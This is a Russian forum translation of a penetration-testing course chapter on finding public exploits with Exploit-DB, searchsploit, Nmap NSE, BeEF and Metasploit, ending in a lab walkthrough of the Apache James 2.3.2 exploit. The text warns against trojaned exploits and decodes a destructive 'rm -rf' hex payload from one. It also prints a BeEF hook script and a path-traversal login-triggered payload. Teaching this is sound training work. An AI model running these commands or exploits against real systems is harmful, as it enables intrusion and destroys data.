disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 14. Поиск общедоступных эксплойтов. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Вступление
В этой главе мы сосредоточимся на различных онлайн-ресурсах, содержащих эксплойты для общеизвестных уязвимостей. Также проверим доступные в Kali оффлайн-инструменты, содержащие локально размещенные эксплойты.
Предостережение
Важно понимать, что, скачивая и запуская публичные эксплойты, можно поставить под угрозу любую систему, на которой запускается этот код. Зная это, необходимо внимательно прочитать и понять код перед выполнением, чтобы избежать негативных последствий.
Возьмем, к примеру, 0pen0wn, который был опубликован как удаленный эксплойт для SSH. Читая исходный код, было замечено, что он запрашивает root-права, что выглядело подозрительным:
Код:
if (geteuid()) {
puts("Root is required for raw sockets, etc."); return 1;
}
Листинг 1 - Вредоносный SSH-эксплойт, запрашивающий root-права на атакующей машине
Дальнейшее изучение кода выявило интересный jmpcode-массив:
Код:
[...]
char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
[...]
Листинг 2 - Вредоносный SSH использует шестнадцатеричную полезную нагрузку
Несмотря на то, что он был замаскирован под шелл-код, массив jmpcode оказался шестнадцатеричным кодом, содержащим вредоносную shell-команду:
Python:
kali@kali:~$ python
>>> jmpcode = [
... "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
... "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"]
>>> print jmpcode
['rm -rf ~ /* 2> /dev/null &']
>>>
Листинг 3 - Вредоносный пэйлоад SSH-эксплойта, который снесет атакующую машину
Эта команда может запросто уничтожить UNIX-подобную файловую систему атакующего. В последующих строках программа подключится к общедоступному IRC серверу, чтобы сообщить о тупости пользователя на весь мир, что делает этот эксплойт чрезвычайно опасным и пристыжающим!
Учитывая эту опасность, мы будем полагаться на более надежные репозитории эксплойтов в этом разделе.
Онлайн-ресурсы, упомянутые в этом разделе, анализируют код эксплойта перед размещением его онлайн. Тем не менее, даже при использовании этих доверенных ресурсов важно правильно прочитать код и получить общее представление о том, что он будет делать при выполнении. Даже если вы не считаете себя программистом, это отличный способ улучшить свои навыки чтения кода и даже спастись от стыда однажды!
Эксплойты, написанные на низкоуровневом языке программирования и требующие компиляции, часто размещены как в исходном коде, так и в двоичном формате. Исходный код легче проверить, но он может быть громоздким для компиляции. Бинарные файлы сложнее проверять (без специальных навыков и инструментов), но их проще запустить.
Если проверка или компиляция кода слишком сложны, настройте пустую виртуальную машину как полигон для тестирования эксплойтов или "песочницу".
Поиск эксплойтов
После сбора информации можно перепроверить обнаруженное ПО на известные уязвимости в попытке найти опубликованные эксплойты для этих уязвимостей.
Онлайн-ресурсы
На различных онлайн-ресурсах размещен код эксплойтов, и он бесплатно предоставляется широкой публике. В следующих раздах мы рассмотрим три самых популярных интернет-ресурса. Эти ресурсы обычно проводят проверку представленного эксплойта и удаляют все, что считается поддельным или вредоносным.
Exploit Database
Ссылка скрыта от гостей
- это проект, поддерживаемый
Ссылка скрыта от гостей
. Это бесплатный архив общедоступных эксплойтов, собранных через почтовые рассылки и публичные ресурсы.Рисунок 1: Домашняя страница Exploit Database
В отличие от других онлайн-ресурсов, Exploit Database иногда предоставляет установщик уязвимой версии ПО для исследовательских целей. Когда установщик доступен, он отмечен значком на сайте в столбце A, как показано на рис. 1.
Об обновлениях Exploit Database объявляется в
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
.SecurityFocus Exploit Archives
Сайт
Ссылка скрыта от гостей
был создан в 1999 году и фокусируется на нескольких ключевых областях, важных для сообщества безопасников:- BugTraq: список рассылки с полным раскрытием информации с целью обсуждения и объявления уязвимости безопасности.
- База данных уязвимостей SecurityFocus: предоставляет актуальную информацию об уязвимостях для всех платформ и сервисов.
- Списки рассылки SecurityFocus: тематические списки рассылки позволяют исследователям мир для обсуждения различных вопросов безопасности.
Рисунок 2: Домашняя страница SecurityFocus
SecurityFocus объявляет об обновлениях в
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
.Packet Storm
Ссылка скрыта от гостей
был основан в 1998. Там публикуются новости ИБ, предоставляется актуальная информация по уязвимостям.Рисунок 3: Домашняя страница PacketStorm
Как и вышеописанные онлайн-ресурсы, Packet Storm делает публикации в
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
.Расширенный поиск Google
Вдобавок к отдельным сайтам, рассмотренным выше, мы можем искать сайты с эксплойт-хостингом, используя традиционные поисковые системы.
Можно начать поиск определенного ПО и версии, за которым следует ключевое слово эксплойта и содержит различные операторы поиска (например, используемые поисковиком
Ссылка скрыта от гостей
), чтобы сузить поиск. Овладение этими расширенными инструментами может помочь нам адаптировать результаты поиска, чтобы находить именно то, что нужно.В качестве примера мы можем использовать следующий поисковый запрос, чтобы найти уязвимости, влияющие на Microsoft Edge и ограничить результаты выдачи только теми эксплойтами, которые размещены на Exploit Database:
Bash:
kali@kali:~$ firefox --search "Microsoft Edge site:exploit-db.com"
Листинг 4 - Использование Google для поиска эксплойтов на Microsoft Edge на сайте exploit-db.com
Некоторые другие операторы поиска, которые можно использовать для точной настройки, включают "inurl", "intext" и "intitle".
Будьте максимально внимательны, используя эксплойты с немодерируемых ресурсов!
Оффлайн-ресурсы
Интернет не всегда доступен во время пентеста. Для случаев, когда тестирование проводится в изолированной среде, дистрибутив Kali Linux поставляется с различными инструментами, обеспечивающими автономный доступ к эксплойтам.
SearchSploit
База данных эксплойтов соджержит архивную копию всего размещенного кода эксплойтов.
Этот архив по умолчанию включен в Kali в пакете exploitdb. Мы рекомендуем обновить пакет перед любым тестированием, чтобы убедиться, что у вас есть последние эксплойты. Это можно сделать с помощью следующих команд:
Bash:
kali@kali:~$ sudo apt update && sudo apt install exploitdb
...
The following packages will be upgraded:
exploitdb
1 upgraded, 1 newly installed, 0 to remove and 739 not upgraded.
Need to get 23.9 MB/24.0 MB of archives.
After this operation, 2,846 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.mirror.globo.tech/kali kali-rolling/main amd64 exploitdb all 2018022
Fetched 23.9 MB in 3s (8,758 kB/s)
Reading changelogs... Done
...
Setting up exploitdb (20180220-0kali1) ...
Листинг 5 - Обновление пакета exploitdb из репозиториев Kali Linux
Приведенная выше команда обновляет локальную копию архива базы данных эксплойтов в /usr/share/exploitdb/. Этот каталог разделен на два основных раздела, exploits и shellcodes:
Bash:
kali@kali:~$ ls -1 /usr/share/exploitdb/
exploits
files_exploits.csv
files_shellcodes.csv
shellcodes
Листинг 6 - Список двух основных разделов в главном каталоге архива
Каталог эксплойтов далее разделен на отдельные каталоги для каждой операционной системы, архитектуры и скриптового языка:
Bash:
kali@kali:~$ ls -1 /usr/share/exploitdb/exploits/
aix
android
arm
ashx
asp
aspx
atheos
beos
bsd
bsd_x86
cfm
cgi
freebsd
freebsd_x86
...
Листинг 7 - Список содежимого в директории exploits
Ручной поиск в базе данных эксплойтов отнюдь не идеален, учитывая большое количество эксплойтов в архиве. Здесь пригодится утилита searchsploit.
Мы можем запустить searchsploit из командной строки без каких-либо параметров для отображения его использования:
Bash:
kali@kali:~$ searchsploit
Usage: searchsploit [options] term1 [term2] ... [termN]
Листинг 8 - Cинтаксис команд searchsploit
Как показано на примерах ниже, searchsploit позволяет искать по всему архиву и отображать результаты на основе различных условий поиска, представленных в качестве аргументов:
Код:
==========
Examples
==========
searchsploit afd windows local
searchsploit -t oracle windows
searchsploit -p 39446
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
For more examples, see the manual: https://www.exploit-db.com/searchsploit/
Листинг 9 - Примеры команд Searchsploit
Параметры позволяют сузить область поиска, изменить формат вывода, обновить базу данных и многое другое:
Код:
=========
Options
=========
-c, --case [Term] Perform a case-sensitive search (Default is inSEnsITiVe).
-e, --exact [Term] Perform an EXACT match on exploit title (Default is AND) [I
-h, --help Show this help screen.
-j, --json [Term] Show result in JSON format.
-m, --mirror [EDB-ID] Mirror (aka copies) an exploit to the current working direc
-o, --overflow [Term] Exploit titles are allowed to overflow their columns.
-p, --path [EDB-ID] Show the full path to an exploit (and also copies the path
-t, --title [Term] Search JUST the exploit title (Default is title AND the fil
-u, --update Check for and install any exploitdb package updates (deb or
-w, --www [Term] Show URLs to Exploit-DB.com rather than the local path.
-x, --examine [EDB-ID] Examine (aka opens) the exploit using $PAGER.
--colour Disable colour highlighting in search results.
--id Display the EDB-ID value rather than local path.
--nmap [file.xml] Checks all results in Nmap's XML output with service version
Use "-v" (verbose) to try even more combinations
--exclude="term" Remove values from results. By using "|" to separated you ca
e.g. --exclude="term1|term2|term3".
Листинг 10 - Список параметров searchsploit
Наконец, раздел "Notes" в меню справки содержит полезные советы по поиску:
Код:
=======
Notes
=======
* You can use any number of search terms.
* Search terms are not case-sensitive (by default), and ordering is irrelevant.
* Use '-c' if you wish to reduce results by case-sensitive searching.
* And/Or '-e' if you wish to filter results by using an exact match.
* Use '-t' to exclude the file's path to filter the search results.
* Remove false positives (especially when searching using numbers - i.e. versions).
* When updating or displaying help, search terms will be ignored.
Листинг 11 - Подсказки searchsploit
Например, мы можем найти все доступные удаленные эксплойты, нацеленные на службу SMB в операционной системе Windows, используя следующий синтаксис:
Bash:
kali@kali:~$ searchsploit remote smb microsoft windows
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Microsoft DNS RPC Service - 'extractQu | exploits/windows/remote/16366.rb
Microsoft Windows - 'srv2.sys' SMB Cod | exploits/windows/remote/40280.py
Microsoft Windows - 'srv2.sys' SMB Neg | exploits/windows/remote/14674.txt
Microsoft Windows - 'srv2.sys' SMB Neg | exploits/windows/remote/16363.rb
Microsoft Windows - SMB Relay Code Exe | exploits/windows/remote/16360.rb
Microsoft Windows - SmbRelay3 NTLM Rep | exploits/windows/remote/7125.txt
Microsoft Windows - Unauthenticated SM | exploits/windows/dos/41891.rb
Microsoft Windows 2000/XP - SMB Authen | exploits/windows/remote/20.txt
Microsoft Windows 2003 SP2 - 'ERRATICG | exploits/windows/remote/41929.py
Microsoft Windows 95/Windows for Workg | exploits/windows/remote/20371.txt
Microsoft Windows NT 4.0 SP5 / Termina | exploits/windows/remote/19197.txt
Microsoft Windows Server 2008 R2 (x64) | exploits/windows/remote/41987.py
Microsoft Windows Vista/7 - SMB2.0 Neg | exploits/windows/dos/9594.txt
Microsoft Windows Windows 7/2008 R2 (x | exploits/windows_x86-64/remote/42031.py
Microsoft Windows Windows 7/8.1/2008 R | exploits/windows/remote/42315.py
Microsoft Windows Windows 8/8.1/2012 R | exploits/windows_x86-64/remote/42030.py
--------------------------------------- ----------------------------------------
Shellcodes: No Result
Листинг 12 - Использование searchsploit для вывода списка доступных удаленных эксплойтов Windows SMB
Nmap NSE Scripts
Nmap NSE Scripts
Nmap - один из самых популярных инструментов для сбора информации. Одна очень мощная особенность этого инструмента -
Ссылка скрыта от гостей
, который, как следует из названия, предоставляет возможность автоматизировать различные задачи с использованием скриптов.Nmap Scripting Engine сопровождетеся множеством скриптов для сбора информации, перебора, фаззинга, обнаружения, а также эксплойт-сервисами. Полный список скриптов, предоставляемых Nmap Scripting Engine, находится в /usr/share/nmap/scripts. Использование grep для быстрого поиска в скриптах NSE по слову "Exploits" возвращает несколько результатов:
Bash:
kali@kali:~$ cd /usr/share/nmap/scripts
kali@kali:/usr/share/nmap/scripts$ grep Exploits *.nse
clamav-exec.nse:Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution.
http-awstatstotals-exec.nse:Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
http-axis2-dir-traversal.nse:Exploits a directory traversal vulnerability in Apache Axis2 version 1.4.1 by
http-fileupload-exploiter.nse:Exploits insecure file upload forms in web applications
...
Листинг 13 - Список NSE скриптов, содержащих слово "Exploits"
Мы можем получить информацию о конкретных сценариях NSE, запустив nmap с параметром --script-help за которым следует имя файла сценария:
Bash:
kali@kali:~$ nmap --script-help=clamav-exec.nse
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 13:41 MDT
clamav-exec
Categories: exploit vuln
https://nmap.org/nsedoc/scripts/clamav-exec.html
Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution.
ClamAV server 0.99.2, and possibly other previous versions, allow the execution of dangerous service commands without authentication. Specifically, the command 'SCAN' may be used to list system files and the command 'SHUTDOWN' shut downs the service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
This script without arguments test the availability of the command 'SCAN'.
Reference:
* https://twitter.com/nitr0usmx/status/740673507684679680
* https://bugzilla.clamav.net/show_bug.cgi?id=11585
Листинг 14 - Использование Nmap NSE для получения информации о скрипте
Это предоставляет информацию об уязвимости и внешних информационных ресурсах.
The Browser Exploitation Framework (BeEF)
Ссылка скрыта от гостей
- это инструмент для пентеста, ориентированный на client-side атаки, совершаемые в браузере. Излишне говорить, что он включает в себя множество эксплойтов.Чтобы получить список доступных эксплойтов, мы должны сначала запустить необходимые сервисы. Это можно сделать автоматически в Kali Linux с помощью команды beef-xss:
Код:
kali@kali:~$ sudo beef-xss
[*] Please wait as BeEF services are started.
[*] You might need to refresh your browser once it opens.
[*] UI URL: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
Листинг 15 - Запуск сервисов BeEF в Kali Linux
Мы можем перейти на
Ссылка скрыта от гостей
, используя учетные данные по умолчанию beef/beef для входа в основной интерфейс фреймворка:Рисунок 4: Страница входа в BeEF
Войдя в систему, нужно подключить браузер жертвы. Поскольку продвинутый перехват вне рамок этого раздела, мы будем использовать демонстрационную страницу, предоставленную фреймворком. Это позволит BeEF подключить (hook) наш браузер:
Рисунок 5: Доступ к демонстрационной странице BeEF
Как только наш браузер подключен (hooked), он появится на панели "Hooked Browsers" консоли BeEF как IP-адрес localhost 127.0.0.1. Нажатие на наш IP (теперь известный как zombie) должно представить нам новую страницу, содержащую подробную информацию о браузере-жертве. Затем мы можем перейти на вкладку Commands, где мы можем найти различные скрипты и эксплойты:
Рисунок 6: Доступные BeEF эксплойты
The Metasploit Framework
The Metasploit Framework
Ссылка скрыта от гостей
- отличный фреймворк, созданный для помощи в разработке и выполнении эксплойтов. Этот фреймворк по умолчанию доступен в Kali Linux и может быть запущен с помощью команды msfconsole:
Bash:
kali@kali:~$ sudo msfconsole -q
msf >
Листинг 16 - Запуск Metasploit
Использование этой структуры подробно рассматривается в другом разделе, поэтому мы сосредоточимся на перечислении эксплойтов, доступных в фреймворке с помощью команды search.
Чтобы продемонстрировать это, рассмотрим поиск популярной уязвимости
Ссылка скрыта от гостей
:
Код:
msf > search ms08_067
Matching Modules
================
Name Disclosure Date Description
---- --------------- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 MS08-067 Microsoft Server Service Relative Path Stack Corruption
Листинг 17 - Поиск эксплойта ms08_067 в Metasploit
Команда поиска Metasploit включает множество ключевых слов, которые помогут найти конкретный эксплойт. Чтобы просмотреть все доступные параметры, введите search с параметром -h:
Код:
msf5 > search -h
Usage: search [ options ] <keywords>
OPTIONS:
-h Show this help information
-o <file> Send output to a file in csv format
-S <string> Search string for row filter
-u Use module if there is one result
Keywords:
aka : Modules with a matching AKA (also-known-as) name
author : Modules written by this author
arch : Modules affecting this architecture
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
check : Modules that support the 'check' method
date : Modules with a matching disclosure date
description : Modules with a matching description
full_name : Modules with a matching full name
mod_time : Modules with a matching modification date
name : Modules with a matching descriptive name
path : Modules with a matching path
platform : Modules affecting this platform
port : Modules with a matching port
rank : Modules with a matching rank (Can be descriptive (ex: 'good') or nume
ref : Modules with a matching ref
reference : Modules with a matching reference
target : Modules affecting this target
type : Modules of a specific type (exploit, payload, auxiliary, encoder, eva
Examples:
search cve:2009 type:exploit
Листинг 18 - Вывод всех параметров поиска Metasploit
Собираем все воедино
Собираем все воедино
Располагая всеми ресурсами, давайте продемонстрируем, как это будет выглядеть в реальности. Мы собирается атаковать наш выделенный клиент Linux, на котором размещено приложение, уязвимое для общедоступных эксплоитов.
Мы начинаем процесс сбора информации с запуска nmap, чтобы определить, какие сервисы были выставлены машиной в сеть:
Bash:
kali@kali:~# sudo nmap 10.11.0.128 -p- -sV -vv --open --reason
...
Scanning 10.11.0.128 [65535 ports]
Discovered open port 3389/tcp on 10.11.0.128
Discovered open port 110/tcp on 10.11.0.128
Discovered open port 25/tcp on 10.11.0.128
Discovered open port 22/tcp on 10.11.0.128
Discovered open port 119/tcp on 10.11.0.128
Discovered open port 4555/tcp on 10.11.0.128
Completed SYN Stealth Scan at 14:23, 49.03s elapsed (65535 total ports)
Initiating Service scan at 14:23
Scanning 6 services on 10.11.0.128
Completed Service scan at 14:23, 11.47s elapsed (6 services on 1 host)
NSE: Script scanning 10.11.0.128.
...
Nmap scan report for 10.11.0.128
Host is up, received arp-response (0.15s latency).
Scanned at 2019-04-13 14:22:57 EEST for 61s
Not shown: 65304 closed ports, 225 filtered ports
Reason: 65304 resets and 225 no-responses
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2
25/tcp open smtp syn-ack ttl 64 JAMES smtpd 2.3.2
110/tcp open pop3 syn-ack ttl 64 JAMES pop3d 2.3.2
119/tcp open nntp syn-ack ttl 64 JAMES nntpd (posting ok)
3389/tcp open ms-wbt-server syn-ack ttl 64 xrdp
4555/tcp open james-admin syn-ack ttl 64 JAMES Remote Admin 2.3.2
MAC Address: 00:50:56:93:2E:E7 (VMware)
Service Info: Host: debian; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 61.11 seconds
Raw packets sent: 76606 (3.371MB) | Rcvd: 71970 (2.879MB)
Листинг 19 - Использование nmap для сбора информации об открытых сервисах на клиенте Linux
Основываясь на результатах нашего сканирования, полагаем, что в системе запущен SSH-сервер на TCP-порту 22, XRDP на TCP-порту 3389 и различные сервисы, отмеченные как "JAMES". Поиск в Google информации о том, что такое сервисы JAMES, показывает, что наша цель использует Apache James.
Чтобы найти доступные эксплойты, мы запустим searchsploit:
Bash:
kali@kali:~$ searchsploit james
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
Apache James Server 2.2 - SMTP Denial | exploits/multiple/dos/27915.pl
Apache James Server 2.3.2 - Remote Com | exploits/linux/remote/35513.py
WheresJames Webcam Publisher Beta 2.0. | exploits/windows/remote/944.c
--------------------------------------- ----------------------------------------
Листинг 20 - Использование searchsploit для поиска эксплойтов, нацеленных на Apache James
Среди результатов мы видим, что один из эксплойтов нацелен на конкретный Apache James, а именно
Ссылка скрыта от гостей
. Беглый взгляд на этот эксплойт показывает, что он принимает IP-адрес как аргумент и выполняет команду от пользователя с правами root, определенную в переменной payload:
Код:
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
Листинг 21 - Пэйлоад, выполняемый пользователем root при эксплуатации
Теперь, когда мы нашли эксплойт, попытаемся запустить его на нашем выделенном Linux-клиенте без модификаций.
Bash:
kali@kali:~$ python /usr/share/exploitdb/exploits/linux/remote/35513.py 10.11.0.128
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.
Листинг 422 - Запуск эксплойта против нашего выделенного клиента Linux
Эксплойт, похоже, работает без каких-либо ошибок, и он сообщает нам, что пэйлоад будет выполняться, когда кто-то входит в систему.
Мы подключаемся к нашему выделенному клиенту Linux, чтобы имитировать вход в систему, который обычно выполняет жертва и замечаем, что мы получаем дополнительный вывод инфрмации (от эксплойта), который не возник бы во время стандартного сеанса входа в систему:
Код:
kali@kali:~$ ssh root@10.11.0.128
root@10.11.0.128's password:
...
-bash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317003\ݬ :'co
mmand not found
-bash: L: command not found
-bash: attributestLjava/util/HashMap: No such file or directory
-bash: L
errorMessagetLjava/lang/String: No such file or directory
-bash: L
lastUpdatedtLjava/util/Date: No such file or directory
-bash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
-bash: $'L\004nameq~\002L': command not found
-bash: recipientstLjava/util/Collection: No such file or directory
-bash: L: command not found
-bash: $'remoteAddrq~\002L': command not found
-bash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
-bash: $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found
-bash: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
-bash: @team.pl>
Message-ID: <31878267.0.1555158659200.JavaMail.root@debian>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from vpn.hacker.localdomain ([10.11.11.10])
by debian (JAMES SMTP Server 2.3.2) with SMTP ID 330
for <../../../../../../../../etc/bash_completion.d@localhost>;
Sat, 13 Apr 2019 08:30:53 -0400 (EDT)
Date: Sat, 13 Apr 2019 08:30:53 -0400 (EDT)
From: team@team.pl
: No such file or directory
-bash: $'\r': command not found
root@debian:~#
Листинг 23 - Вход в выделенный клиент Linux с использованием SSH для имитации жертвы
Если все работает по плану, мы должны увидеть файл proof.txt в корневой директории /root.
Bash:
root@debian:~# ls -lah /root/proof.txt
-rw-r--r-- 1 root root 0 Apr 13 08:34 /root/proof.txt
Листинг 24 - Проверка выполнения пэйлоада при входе в систему
Отлично! Похоже, что эксплойт работает.
Заключение
В этой главе мы обсудили риски, связанные с запуском кода, полученного из ненадежных источников. Также рассмотрели различные онлайн-ресурсы, на которых размещен код эксплойтов для широко известных уязвимостей, а также ресурсы, не требующие подключения к интернету. Наконец, мы рассмотрели сценарий, показывающий, как такие онлайн-ресурсы могут быть использованы для поиска общедоступных эксплойтов для ПО, обнаруженного на этапе сбора информации о цели.
Последнее редактирование: